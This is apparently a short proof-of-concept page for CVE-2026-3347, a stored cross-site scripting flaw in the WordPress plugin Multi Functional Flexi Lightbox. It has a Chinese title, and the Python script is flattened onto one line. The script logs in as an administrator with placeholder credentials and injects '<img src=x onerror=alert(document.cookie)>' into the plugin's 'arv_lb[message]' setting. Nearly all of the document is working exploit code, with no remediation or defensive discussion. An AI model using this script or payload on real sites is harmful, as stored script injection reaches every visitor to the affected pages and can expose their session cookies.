CVE-2026-3347 WordPress插件存储型XSS漏洞

# WordPress Multi Functional Flexi Lightbox < 1.2 Stored XSS PoC # Target: The 'arv_lb[message]' parameter in the plugin settings. # Precondition: Attacker must have Administrator-level privileges. import requests # Configuration target_url = "http://example.com/wp-admin/admin.php?page=multi-functional-flexi-lightbox" login_url = "http://example.com/wp-login.php" username = "admin" password = "password" session = requests.Session() # 1. Authenticate to WordPress def login(): login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } response = session.post(login_url, data=login_data) if "wp-admin" in response.text: print("[+] Login successful") else: print("[-] Login failed") exit() # 2. Exploit the Stored XSS def exploit(): # Fetch the page to get nonces (if any) page = session.get(target_url) # The vulnerable parameter is arv_lb[message] # Payload: Simple alert to demonstrate execution payload_data = { 'arv_lb[message]': '<img src=x onerror=alert(document.cookie)>', 'Submit': 'Save Changes', 'option_page': 'arv_lb_options', 'action': 'update', '_wpnonce': '[INSERT_NONCE_IF_REQUIRED]', # Usually required for WP options '_wp_http_referer': '/wp-admin/admin.php?page=multi-functional-flexi-lightbox' } # Note: Real-world exploitation requires handling WordPress Nonces (_wpnonce) # This is a conceptual representation of the POST request. response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent. Check the plugin settings or view a post with the lightbox.") else: print(f"[-] Request failed with status {response.status_code}") if __name__ == "__main__": login() exploit()